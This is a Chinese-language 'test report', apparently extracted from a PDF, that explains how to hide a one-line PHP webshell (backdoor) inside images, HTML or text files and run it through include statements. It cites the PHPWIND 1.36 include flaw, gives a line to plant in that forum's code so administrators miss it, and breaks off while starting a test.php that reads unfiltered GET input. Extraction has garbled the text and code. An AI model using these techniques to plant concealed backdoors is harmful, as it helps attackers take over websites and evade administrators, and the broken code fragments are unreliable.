background image

PHP 后门的隐藏技巧测试报告

最近很多朋友都在问我是否能把我那一句话木马隐藏到

HTML 或图片里,其实把一句

话木马插入到

PHP

 

文件中就已经很隐蔽了,如果说硬是要放到

HTML 文件或图片里,就

接着往下看这篇的篇测试报告吧。要知道如果光把

PHP 语句放到图片里是无论如何也不能

执行的,因为

PHP 只解析扩展名为 php 的文件。所以说要能使隐藏在图片里的 PHP 语句执

行。我们就的借助

PHP

 

中的调用函数 :

include 、require 等。

    我 们 还 记 得 前 些 日 子 把 木 马 隐 藏 到 图 片 的 文 章 吧 。 也 就 是 在

PHP 文 件 里 用

include("x.gif")这样的语句来调用隐藏在图片的木马语句。ASP 中语句也类似。看

似非常隐蔽但直接调用图片对稍微懂点

PHP 的人就不难发现可疑之处。由于 URL 

里用

GET 方式很难传递参数,这就使得插入木马的性能得不到发挥。

  

Include 函数在 PHP 中使用的比较频繁,所以引起的安全问题也实在太多,例如

PHPWIND1.36 的漏洞就是因为 include 后面的变量没做过滤引起的。由此我们就

可以构造类似的语句来插入到

PHP 文件中。然后把木马隐藏到图片或 HTML 文件里,

可以说隐蔽性就更高了。如在

PHPWIND

‘’

论坛里插入下面的语句:<

?@include 

includ/.$PHPWIND_ROOT;?   

> 一般管理员是无法看出来的。

  有了

include 函数来辅助帮忙我们就可以把 PHP

 

 

木马隐藏到 诸如

txt、html 和图片文

件等很多类型的文件里来了。因为

txt、html 和图片文件这三种类型的文件最无论在

论坛还是文章系统里是最为常见的了,下面我们就依次来做测试。

  首先建立一

PHP 文件 test.php 文件内容为:

  

$test=$_GET['test'];